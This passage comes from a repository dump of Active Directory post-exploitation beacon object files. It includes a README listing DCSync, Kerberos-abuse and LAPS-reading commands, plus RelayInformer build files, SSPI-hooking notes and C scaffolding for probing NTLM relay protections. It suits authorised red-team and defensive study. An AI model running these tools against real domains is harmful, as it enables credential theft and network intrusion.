<new_dmsa_account> <curren sid> <target_user_dn> <domain>\n```\n\n\n\n## certi\n\nA library of beacon object files to interact with ADCS servers and certificates. [More details](https://github.com/Adaptix-Framework/Extension-Kit/blob/main/AD-BOF/ADCS-BOF/README.md)\n\n\n\n## DCSync BOF\n\nA BOF implementation of the DCSync attack for extracting credential material from Active Directory domain controllers. [More details](https://github.com/Adaptix-Framework/Extension-Kit/blob/main/AD-BOF/DCSync-BOF/README.md)\n\n\n\n## webdav\n\nEnable the WebDAV client service without elevated permissions\n\n```\nwebdav_enable\n```\n\nCheck WebDAV client status\n\n```\nwebdav_status <host1,host2,host3>\n```\n\n\n\n## kerbeus\n\nBeacon Object Files for Kerberos abuse. This is an implementation of some important features of the [Rubeus](https://github.com/GhostPack/Rubeus) project, written in C. [More details](https://github.com/Adaptix-Framework/Extension-Kit/blob/main/AD-BOF/Kerbeus-BOF/README.md)\n\n\n\n## ldapsearch\n\nExecute LDAP searches (NOTE: specify *,ntsecuritydescriptor as attribute parameter if you want all attributes + base64 encoded ACL of the objects, this can then be resolved using BOFHound. Could possibly break pagination, although everything seemed fine during testing.)\n\n```\nldapsearch <query> [-a attributes] [-c count>] [-s scope] [--dc dc] [--dn dn] [--ldaps]\n```\n\n\n\n## ldapq computers\n\nGet a list of hosts in a domain via ldap and save them in TaskManager.\n\n```\nldapq computers\n```\n\n\n\n## readlaps\n\nRead LAPS password for a computer\n\n```Shell\nreadlaps [-dc dc] [-dn dn] [-target target] [-target-dn target_dn]\n```\n\n\n\n## relay-informer\n\nBeacon object files that allow an operator to determine EPA enforcement from a beacon's logon session, without supplying explicit credentials. [More details](https://github.com/Adaptix-Framework/Extension-Kit/blob/main/AD-BOF/RelayInformer/README.md)\n\n\n\n## mssql\n\nA library of Beacon Object Files to interact with remote SQL servers and data. This collection is templated off the TrustedSec CS-Situational-Awareness-BOF collection and models the functionality of the SQLRecon project. [More details](https://github.com/Adaptix-Framework/Extension-Kit/blob/main/AD-BOF/SQL-BOF/README.md)\n\n\n\n## Credits\n* CS-Situational-Awareness-BOF - https://github.com/trustedsec/CS-Situational-Awareness-BOF\n* SQL-BOF - https://github.com/Tw1sm/SQL-BOF\n* sekken-enum - https://github.com/Nomad0x7/sekken-enum\n* BadTakeover-BOF - https://github.com/logangoins/BadTakeover-BOF\n* DCSync-BOF - https://github.com/P0142/DCSync-Bof\n* EnableWebDAVClient-BOF - https://github.com/KingOfTheNOPs/EnableWebDAVClient-BOF"
  },
  {
    "path": "AD-BOF/RelayInformer/Makefile",
    "content": "CC64 = x86_64-w64-mingw32-gcc\nSTRIP64 = x86_64-w64-mingw32-strip --strip-unneeded\nCFLAGS = -I common -w -Wno-incompatible-pointer-types -Os -s -DBOF -c\n\nall: bof\n\nbof:\n\t@(mkdir -p _bin/RelayInformer 2>/dev/null) && echo 'creating _bin/RelayInformer' || echo '_bin/RelayInformer exists'\n\t@($(CC64) $(CFLAGS) -lws2_32 relay-informer-smb/entry.c -o _bin/RelayInformer/smb.x64.o   && $(STRIP64) _bin/RelayInformer/smb.x64.o) && echo '[+] relay-informer-smb' || echo '[!] relay-informer-smb'\n\t@($(CC64) $(CFLAGS) -lodbc32 -lws2_32 relay-informer-mssql/entry.c -o _bin/RelayInformer/mssql.x64.o   && $(STRIP64) _bin/RelayInformer/mssql.x64.o) && echo '[+] relay-informer-mssql' || echo '[!] relay-informer-mssql'\n\t@($(CC64) $(CFLAGS) -lsecur32 -lwinhttp -lcrypt32 -lbcrypt relay-informer-http/entry.c -o _bin/RelayInformer/http.x64.o   && $(STRIP64) _bin/RelayInformer/http.x64.o) && echo '[+] relay-informer-http' || echo '[!] relay-informer-http'\n\t@($(CC64) $(CFLAGS) -lwldap32 -ldnsapi relay-informer-ldap/entry.c -o _bin/RelayInformer/ldap.x64.o   && $(STRIP64) _bin/RelayInformer/ldap.x64.o) && echo '[+] relay-informer-ldap' || echo '[!] relay-informer-ldap'\n\nclean:\n\t@(rm -rf _bin)"
  },
  {
    "path": "AD-BOF/RelayInformer/README.md",
    "content": "# Relay Informer BOFs\nBeacon object files that allow an operator to determine EPA enforcement from a beacon's logon session, without supplying explicit credentials. Due to reliance on [`sspicli!InitializeSecurityContext`](https://learn.microsoft.com/en-us/windows/win32/api/sspi/nf-sspi-initializesecuritycontextw) API calls, channel binding and target name AV pairs cannot be completely stripped from NTLM messages, meaning EPA enforcement level (required vs allowed/accepted/when supported) cannot be fully inferred. Each BOF is capable of determining if EPA is off or if a greater enforcement level is set. If the distinction between required and allowed/accepted/when supported is important for your use case, the Python `relay-informer` implementation can make this distinction, but requires knowledge of a cleartext credential or NTLM hash.\n\nOnly x64 builds are currently supported.\n\n## Available commands\n| Commands             | Usage                    | Notes                                                                               |\n|----------------------|--------------------------|-------------------------------------------------------------------------------------|\n| relay-informer http  | <url>                    | Inform on HTTP(S) service binding enforcement and HTTPS channel binding enforcement |\n| relay-informer ldap  | <host\\|all>              | Inform on LDAP signing enforcement and LDAPS channel binding enforcement            |\n| relay-informer mssql | <host> [port] [database] | Inform on MSSQL service binding and channel binding enforcement                     |\n| relay-informer smb   | <host>                   | Inform on SMB2 signing enforcement                                                  |\n\n### AcquireCredentialsHandle\nWe care about the [pszPackage](https://learn.microsoft.com/en-us/windows/win32/api/sspi/nf-sspi-acquirecredentialshandlea#parameters) parameter because we need to force NTLM authentication. The exception handler for `AcquireCredentialsHandle` monitors the incoming `pszPackage` parameter and flips any `Kerberos` or `Negotiate` references to `NTLM`.\n\n### InitializeSecurityContext\nMultiple [parameters](https://learn.microsoft.com/en-us/windows/win32/api/sspi/nf-sspi-initializesecuritycontextw#parameters) are of interest depending on the test (service binding, channel binding, LDAP signing) being performed.\n\n#### HTTP(S) and MSSQL Service Binding\nThe `pTargetName` parameter influences the `Target Name` AV pair sent to the server in the NTLM type 3 message. To determine if service binding is being enforced, valid target names (e.g., `HTTP/certserver.domain.local`) being passed into the ISC call are invalidated (e.g., `HTTP/relay.informer`).\n\n#### HTTPS, LDAPS and MSSQL Channel Binding\nThe `pInput` parameter contains a pointer to a [SecBufferDesc](https://learn.microsoft.com/en-us/windows/win32/api/sspi/ns-sspi-secbufferdesc) structure, which will contain the valid channel binding token (CBT) passed into the NTLM type 3 channel bindings AV pair. By locating the valid [SEC_CHANNEL_BINDINGS](https://learn.microsoft.com/en-us/windows/win32/api/sspi/ns-sspi-sec_channel_bindings) structure, we can strip the channel binding application data. Windows will still send a channel bindings AV pair regardless, but when stripped the CBT will be `00000000000000000000000000000000`. If the server rejects this NTLM message, we can infer that EPA is required or accepted/allowed/when supported.\n\n#### LDAP Signing\nWe can determine if LDAP signing is required by stripping specific flags from the `fContextReq` parameter. By removing the `ISC_REQ_INTEGRITY`, `ISC_REQ_SEQUENCE_DETECT` and `ISC_REQ_CONFIDENTIALITY` flags, we can elicit a [LDAP_STRONG_AUTH_REQUIRED](https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ldap/return-values) error if LDAP signing is required.\n\n## References and Credits\n- [CS-Situational-Awareness-BOF](https://github.com/trustedsec/CS-Situational-Awareness-BOF)\n- [cube0x0](https://x.com/cube0x0) for [LdapSignCheck](https://github.com/cube0x0/LdapSignCheck)\n- [VoldeSec](https://x.com/VoldeSec) for [PatchlessInlineExecute-Assembly](https://github.com/VoldeSec/PatchlessInlineExecute-Assembly)"
  },
  {
    "path": "AD-BOF/RelayInformer/RelayInformer.axs",
    "content": "var metadata = {\n    name: \"RelayInformer-BOF\",\n    description: \"RelayInformer BOFs\"\n};\n\nlet _cmd_informer_http = ax.create_command(\"http\", \"Inform on HTTP(S) service binding enforcement and HTTPS channel binding enforcement\", \"relay-informer http https://test.dom.local\");\n_cmd_informer_http.addArgString(\"url\", true);\n_cmd_informer_http.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let url = parsed_json[\"url\"];\n\n    let bof_params = ax.bof_pack(\"wstr\", [url]);\n    let bof_path = ax.script_dir() + \"_bin/RelayInformer/http.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Inform on HTTP(S) service binding enforcement\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\n\n\n\nlet _cmd_informer_ldap = ax.create_command(\"ldap\", \"Inform on LDAP signing enforcement and LDAPS channel binding enforcement\", \"relay-informer ldap DC\");\n_cmd_informer_ldap.addArgString(\"host\", true, \"host or 'all'\");\n_cmd_informer_ldap.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let host = parsed_json[\"host\"];\n\n    let bof_params = ax.bof_pack(\"cstr\", [host]);\n    let bof_path = ax.script_dir() + \"_bin/RelayInformer/ldap.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Inform on LDAP signing enforcement\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\n\n\n\nlet _cmd_informer_mssql = ax.create_command(\"mssql\", \"Inform on MSSQL service binding and channel binding enforcement\", \"relay-informer mssql DB\");\n_cmd_informer_mssql.addArgString(\"host\", true);\n_cmd_informer_mssql.addArgInt(\"port\", \"\", 1433);\n_cmd_informer_mssql.addArgString(\"database\", \"\", \"master\");\n_cmd_informer_mssql.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let host = parsed_json[\"host\"];\n    let port = parsed_json[\"port\"];\n    let database = parsed_json[\"database\"];\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr\", [host, port, database]);\n    let bof_path = ax.script_dir() + \"_bin/RelayInformer/mssql.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Inform on MSSQL service binding and channel binding enforcement\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\n\n\n\nlet _cmd_informer_smb = ax.create_command(\"smb\", \"Inform on SMB2 signing enforcement\", \"relay-informer smb DC01\");\n_cmd_informer_smb.addArgString(\"host\", true);\n_cmd_informer_smb.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let host = parsed_json[\"host\"];\n\n    let bof_params = ax.bof_pack(\"cstr\", [host]);\n    let bof_path = ax.script_dir() + \"_bin/RelayInformer/smb.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Inform on SMB2 signing enforcement\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\n\n\nvar cmd_informer = ax.create_command(\"relay-informer\", \"AD RelayInformer\");\ncmd_informer.addSubCommands([ _cmd_informer_http, _cmd_informer_ldap, _cmd_informer_mssql, _cmd_informer_smb ]);\n\nvar group_informer = ax.create_commands_group(\"AD RelayInformer\", [cmd_informer]);\nax.register_commands_group(group_informer, [\"beacon\", \"gopher\", \"kharon\"], [\"windows\"], []);"
  },
  {
    "path": "AD-BOF/RelayInformer/common/base.c",
    "content": "#include \"bofdefs.h\"\n#include \"beacon.h\"\n#include \"time.h\"\n#ifndef bufsize\n#define bufsize 8192\n#endif\n\n\nchar * output __attribute__((section (\".data\"))) = 0;  // this is just done so its we don't go into .bss which isn't handled properly\nWORD currentoutsize __attribute__((section (\".data\"))) = 0;\nHANDLE trash __attribute__((section (\".data\"))) = NULL; // Needed for x64 to not give relocation error\n\n#ifdef BOF\nint bofstart();\nvoid internal_printf(const char* format, ...);\nvoid printoutput(BOOL done);\n#endif\nchar * Utf16ToUtf8(const wchar_t* input);\n#ifdef BOF\nint bofstart()\n{   \n    output = (char*)MSVCRT$calloc(bufsize, 1);\n    currentoutsize = 0;\n    return 1;\n}\n\nvoid internal_printf(const char* format, ...){\n    int buffersize = 0;\n    int transfersize = 0;\n    char * curloc = NULL;\n    char* intBuffer = NULL;\n    va_list args;\n    va_start(args, format);\n    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null\n    va_end(args);\n    \n    // vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string)\n    if (buffersize == -1)\n        return;\n    \n    char* transferBuffer = (char*)intAlloc(bufsize);\n    intBuffer = (char*)intAlloc(buffersize);\n    /*Print string to memory buffer*/\n    va_start(args, format);\n    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string\n    va_end(args);\n    if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end\n    {\n        //BeaconFormatPrintf(&output, intBuffer);\n        memcpy(output+currentoutsize, intBuffer, buffersize);\n        currentoutsize += buffersize;\n    }\n    else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print\n    {\n        curloc = intBuffer;\n        while(buffersize > 0)\n        {\n            transfersize = bufsize - currentoutsize; // what is the max we could transfer this request\n            if(buffersize < transfersize) //if I have less then that, lets just transfer what's left\n            {\n                transfersize = buffersize;\n            }\n            memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer\n            currentoutsize += transfersize;\n            //BeaconFormatPrintf(&output, transferBuffer); // copy it to cobalt strikes output buffer\n            if(currentoutsize == bufsize)\n            {\n            printoutput(FALSE); // sets currentoutsize to 0 and prints\n            }\n            memset(transferBuffer, 0, transfersize); // reset our transfer buffer\n            curloc += transfersize; // increment by how much data we just wrote\n            buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall\n        }\n    }\n    intFree(intBuffer);\n    intFree(transferBuffer);\n}\n\nvoid printoutput(BOOL done)\n{\n\n    char * msg = NULL;\n    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);\n    currentoutsize = 0;\n    memset(output, 0, bufsize);\n    if(done) {MSVCRT$free(output); output=NULL;}\n}\n#else\n#define internal_printf printf\n#define printoutput \n#define bofstart \n#endif\n\n// Changes to address issue #65.\n// We can't use more dynamic resolve functions in this file, which means a call to HeapRealloc is unacceptable.\n// To that end if you're going to use this function, declare how many libraries you'll be loading out of, multiple functions out of 1 library count as one\n// Normallize your library name to uppercase, yes I could do it, yes I'm also lazy and putting that on the developer.\n// Finally I'm going to assume actual string constants are passed in, which is to say don't pass in something to this you plan to free yourself\n// If you must then free it after bofstop is called\n#ifdef DYNAMIC_LIB_COUNT\n\n\ntypedef struct loadedLibrary {\n    HMODULE hMod; // mod handle\n    const char * name; // name normalized to uppercase\n}loadedLibrary, *ploadedLibrary;\nloadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (\".data\"))) = {0};\nDWORD loadedLibrariesCount __attribute__((section (\".data\"))) = 0;\n\nBOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget)\n{\n    BOOL bmatch = FALSE;\n    DWORD pos = 0;\n    while(szLibrary[pos] && sztarget[pos])\n    {\n        if(szLibrary[pos] != sztarget[pos])\n        {\n            goto end;\n        }\n        pos++;\n    }\n    if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match\n        {goto end;}\n    bmatch = TRUE;\n\n    end:\n    return bmatch;\n}\n\n//GetProcAddress, LoadLibraryA, GetModuleHandle, and FreeLibrary are gimmie functions\n//\n// DynamicLoad\n// Retrieves a function pointer given the BOF library-function name\n// szLibrary           - The library containing the function you want to load\n// szFunction          - The Function that you want to load\n// Returns a FARPROC function pointer if successful, or NULL if lookup fails\n//\nFARPROC DynamicLoad(const char * szLibrary, const char * szFunction)\n{\n    FARPROC fp = NULL;\n    HMODULE hMod = NULL;\n    DWORD i = 0;\n    DWORD liblen = 0;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        if(intstrcmp(szLibrary, loadedLibraries[i].name))\n        {\n            hMod = loadedLibraries[i].hMod;\n        }\n    }\n    if(!hMod)\n    {\n        hMod = LoadLibraryA(szLibrary);\n        if(!hMod){ \n            BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\nCould not find library to load.\", szLibrary);\n            return NULL;\n        }\n        loadedLibraries[loadedLibrariesCount].hMod = hMod;\n        loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop\n        loadedLibrariesCount++;\n    }\n    fp = GetProcAddress(hMod, szFunction);\n\n    if (NULL == fp)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\n\", szFunction);\n    }\n    return fp;\n}\n#endif\n\n\nchar* Utf16ToUtf8(const wchar_t* input)\n{\n    int ret = Kernel32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        NULL,\n        0,\n        NULL,\n        NULL\n    );\n\n    char* newString = (char*)intAlloc(sizeof(char) * ret);\n\n    ret = Kernel32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        newString,\n        sizeof(char) * ret,\n        NULL,\n        NULL\n    );\n\n    if (0 == ret)\n    {\n        goto fail;\n    }\n\nretloc:\n    return newString;\n/*location to free everything centrally*/\nfail:\n    if (newString){\n        intFree(newString);\n        newString = NULL;\n    };\n    goto retloc;\n}\n\n//release any global functions here\nvoid bofstop()\n{\n#ifdef DYNAMIC_LIB_COUNT\n    DWORD i;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        FreeLibrary(loadedLibraries[i].hMod);\n    }\n#endif\n\treturn;\n}\n\nvoid InitRandomSeed()\n{\n    MSVCRT$srand((unsigned int)MSVCRT$time(NULL));\n}\n\n//\n// Helper func to generate random strings for prodecure names, etc\n//\nchar* GenerateRandomString(int length)\n{\n    char* result = (char*)intAlloc(length + 1);\n    for (int i = 0; i < length; i++)\n    {\n        result[i] = (char)(MSVCRT$rand() % 26 + 97);\n    }\n    result[length] = '\\0';\n    return result;\n}"
  },
  {
    "path": "AD-BOF/RelayInformer/common/beacon.h",
    "content": "/*\n * Beacon Object Files (BOF)\n * -------------------------\n * A Beacon Object File is a light-weight post exploitation tool that runs\n * with Beacon's inline-execute command.\n *\n * Cobalt Strike 4.1.\n */\n\n/* data API */\n#pragma once\n\n#ifdef BOF\ntypedef struct {\n\tchar * original; /* the original buffer [so we can free it] */\n\tchar * buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} datap;\n\nDECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);\nDECLSPEC_IMPORT int     BeaconDataInt(datap * parser);\nDECLSPEC_IMPORT short   BeaconDataShort(datap * parser);\nDECLSPEC_IMPORT int     BeaconDataLength(datap * parser);\nDECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);\n\n/* format API */\ntypedef struct {\n\tchar * original; /* the original buffer [so we can free it] */\n\tchar * buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} formatp;\n\nDECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);\nDECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);\nDECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);\nDECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);\nDECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);\nDECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);\nDECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);\n\n/* Output Functions */\n#define CALLBACK_OUTPUT      0x0\n#define CALLBACK_OUTPUT_OEM  0x1e\n#define CALLBACK_ERROR       0x0d\n#define CALLBACK_OUTPUT_UTF8 0x20\n\nDECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);\nDECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);\n\n/* Token Functions */\nDECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);\nDECLSPEC_IMPORT void   BeaconRevertToken();\nDECLSPEC_IMPORT BOOL   BeaconIsAdmin();\n\n/* Spawn+Inject Functions */\nDECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);\nDECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);\nDECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);\nDECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);\n\n/* Utility Functions */\nDECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);\n#endif\n"
  },
  {
    "path": "AD-BOF/RelayInformer/common/bofdefs.h",
    "content": "#pragma once\n#pragma intrinsic(memcmp, memcpy,strcpy,strcmp,_stricmp,strlen)\n#include <winsock2.h>\n#include <ws2tcpip.h>\n#include <windows.h>\n#include <tlhelp32.h>\n#include <windns.h>\n#include <winldap.h>\n#include <wtsapi32.h>\n#include <sql.h>\n#include <sqlext.h>\n#include <stdio.h>\n#include <winhttp.h>\n#define SECURITY_WIN32\n#include <sspi.h>\n\n\n#ifdef _WIN32\n#define STDCALL __stdcall\n#else\n#define STDCALL\n#endif\n\n#ifdef BOF\n\n// KERNEL32\nWINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject);\nWINBASEAPI HANDLE WINAPI KERNEL32$CreateThread (LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);\nWINBASEAPI int WINAPI Kernel32$WideCharToMultiByte (UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar);\nWINBASEAPI int WINAPI Kernel32$MultiByteToWideChar (UINT CodePage, DWORD dwFlags, LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);\nWINBASEAPI BOOL WINAPI KERNEL32$HeapFree (HANDLE, DWORD, PVOID);\nWINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();\nWINBASEAPI void * WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);\nWINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds);\nWINBASEAPI PVOID WINAPI KERNEL32$AddVectoredExceptionHandler(ULONG First, PVECTORED_EXCEPTION_HANDLER Handler);\nWINBASEAPI ULONG WINAPI KERNEL32$RemoveVectoredExceptionHandler(PVOID Handle);\nWINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentThread();\nWINBASEAPI DWORD WINAPI KERNEL32$GetCurrentThreadId();\nWINBASEAPI DWORD WINAPI KERNEL32$GetCurrentProcessId();\nWINBASEAPI BOOL WINAPI KERNEL32$GetThreadContext(HANDLE hThread, LPCONTEXT lpContext);\nWINBASEAPI BOOL WINAPI KERNEL32$SetThreadContext(HANDLE hThread, const CONTEXT *lpContext);\nWINBASEAPI HMODULE WINAPI KERNEL32$GetModuleHandleA(LPCSTR lpModuleName);\nWINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE hModule, LPCSTR lpProcName);\nWINBASEAPI BOOL WINAPI KERNEL32$GetComputerNameExA(COMPUTER_NAME_FORMAT NameType, LPSTR lpBuffer, LPDWORD nSize);\nWINBASEAPI BOOL WINAPI KERNEL32$VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);\nWINBASEAPI VOID WINAPI KERNEL32$GetSystemInfo(LPSYSTEM_INFO lpSystemInfo);\nWINBASEAPI SIZE_T WINAPI KERNEL32$VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);\nWINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryA(LPCSTR lpLibFileName);\nWINBASEAPI HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID);\nWINBASEAPI BOOL WINAPI KERNEL32$Thread32First(HANDLE hSnapshot, LPTHREADENTRY32 lpte);\nWINBASEAPI BOOL WINAPI KERNEL32$Thread32Next(HANDLE hSnapshot, LPTHREADENTRY32 lpte);\nWINBASEAPI HANDLE WINAPI KERNEL32$OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId);\nWINBASEAPI DWORD WINAPI KERNEL32$SuspendThread(HANDLE hThread);\nWINBASEAPI DWORD WINAPI KERNEL32$ResumeThread(HANDLE hThread);\n\n\n#define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)\n#define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr)\n\n// MSVCRT\nWINBASEAPI int __cdecl MSVCRT$atoi(const char *_Str);\nWINBASEAPI void *__cdecl MSVCRT$calloc(size_t _NumOfElements, size_t _SizeOfElements);\nWINBASEAPI void __cdecl MSVCRT$free(void *_Memory);\nWINBASEAPI void* WINAPI MSVCRT$malloc(SIZE_T);\nWINBASEAPI void *__cdecl MSVCRT$memcpy(void * __restrict__ _Dst,const void * __restrict__ _Src,size_t _MaxCount);\nWINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);\nWINBASEAPI int __cdecl MSVCRT$memcmp(const void *buf1, const void *buf2, size_t count);\nWINBASEAPI int __cdecl MSVCRT$rand(void);\nWINBASEAPI int __cdecl MSVCRT$srand(unsigned int _Seed);\nWINBASEAPI int __cdecl MSVCRT$sprintf(char *__stream, const char *__format, ...);\nDECLSPEC_IMPORT char * __cdecl MSVCRT$strcat(char * __restrict__ _Dest,const char * __restrict__ _Source);\nDECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char *_Str1,const char *_Str2);\nDECLSPEC_IMPORT int __cdecl MSVCRT$strncmp(const char *_Str1,const char *_Str2,size_t _MaxCount);\nDECLSPEC_IMPORT char * __cdecl MSVCRT$strchr(const char *_Str,int _Ch);\nWINBASEAPI size_t __cdecl MSVCRT$strlen(const char *_Str);\nDECLSPEC_IMPORT char * __cdecl MSVCRT$strncat(char * __restrict__ _Dest,const char * __restrict__ _Source,size_t _Count);\nDECLSPEC_IMPORT char * __cdecl MSVCRT$strncpy(char * __restrict__ _Dest,const char * __restrict__ __src,size_t _Count);\nDECLSPEC_IMPORT char * __cdecl MSVCRT$strstr(const char * _Str,const char * _StrSearch);\nWINBASEAPI time_t __cdecl MSVCRT$time(time_t *_Time);\nWINBASEAPI int __cdecl MSVCRT$vsnprintf(char * __restrict__ d,size_t n,const char * __restrict__ format,va_list arg);\nDECLSPEC_IMPORT char * __cdecl MSVCRT$strcpy(char * __restrict__ __dst, const char * __restrict__ __src);\nWINBASEAPI int __cdecl MSVCRT$_strnicmp(const char *_Str1,const char *_Str2, size_t count);\nWINBASEAPI void * __cdecl MSVCRT$memmove(void * _Dst, const void * _Src, size_t _MaxCount);\n\n// Provide BOF-local forwarders so compiler-emitted libcalls resolve\n//  Cobalt Strike's coffloader whines about unresolved sysmbols without these\nvoid * __cdecl memmove(void *dst, const void *src, size_t n) { return MSVCRT$memmove(dst, src, n); }\nsize_t __cdecl strlen(const char *s) { return MSVCRT$strlen(s); }\n\n#define intZeroMemory(addr,size) MSVCRT$memset((addr),0,size)\n\n// ODBC32\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLAllocHandle(SQLSMALLINT HandleType, SQLHANDLE InputHandle, SQLHANDLE* OutputHandlePtr);\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLCloseCursor(SQLHSTMT StatementHandle);\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLDescribeCol(SQLHSTMT StatementHandle, SQLUSMALLINT ColumnNumber, SQLCHAR* ColumnName, SQLSMALLINT BufferLength, SQLSMALLINT* NameLengthPtr, SQLSMALLINT* DataTypePtr, SQLULEN* ColumnSizePtr, SQLSMALLINT* DecimalDigitsPtr, SQLSMALLINT* NullablePtr);\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLDisconnect(SQLHDBC ConnectionHandle);\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLDriverConnect(SQLHDBC ConnectionHandle, SQLHWND WindowHandle, SQLCHAR* InConnectionString, SQLSMALLINT StringLength1, SQLCHAR* OutConnectionString, SQLSMALLINT BufferLength, SQLSMALLINT* StringLength2Ptr, SQLUSMALLINT DriverCompletion);\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLExecDirect(SQLHSTMT StatementHandle, SQLCHAR* StatementText, SQLINTEGER TextLength);\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLFetch(SQLHSTMT StatementHandle);\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLFreeHandle(SQLSMALLINT HandleType, SQLHANDLE Handle);\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLGetData(SQLHSTMT StatementHandle, SQLUSMALLINT ColumnNumber, SQLSMALLINT TargetType, SQLPOINTER TargetValuePtr, SQLLEN BufferLength, SQLLEN* StrLen_or_IndPtr);\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLGetDiagRec(SQLSMALLINT HandleType, SQLHANDLE Handle, SQLSMALLINT RecNumber, SQLCHAR* Sqlstate, SQLINTEGER* NativeErrorPtr, SQLCHAR* MessageText, SQLSMALLINT BufferLength, SQLSMALLINT* TextLengthPtr);\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLNumResultCols(SQLHSTMT StatementHandle, SQLSMALLINT* ColumnCountPtr);\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLMoreResults(SQLHSTMT StatementHandle);\nWINBASEAPI SQL_API SQLRETURN ODBC32$SQLSetEnvAttr(SQLHENV EnvironmentHandle, SQLINTEGER Attribute, SQLPOINTER ValuePtr, 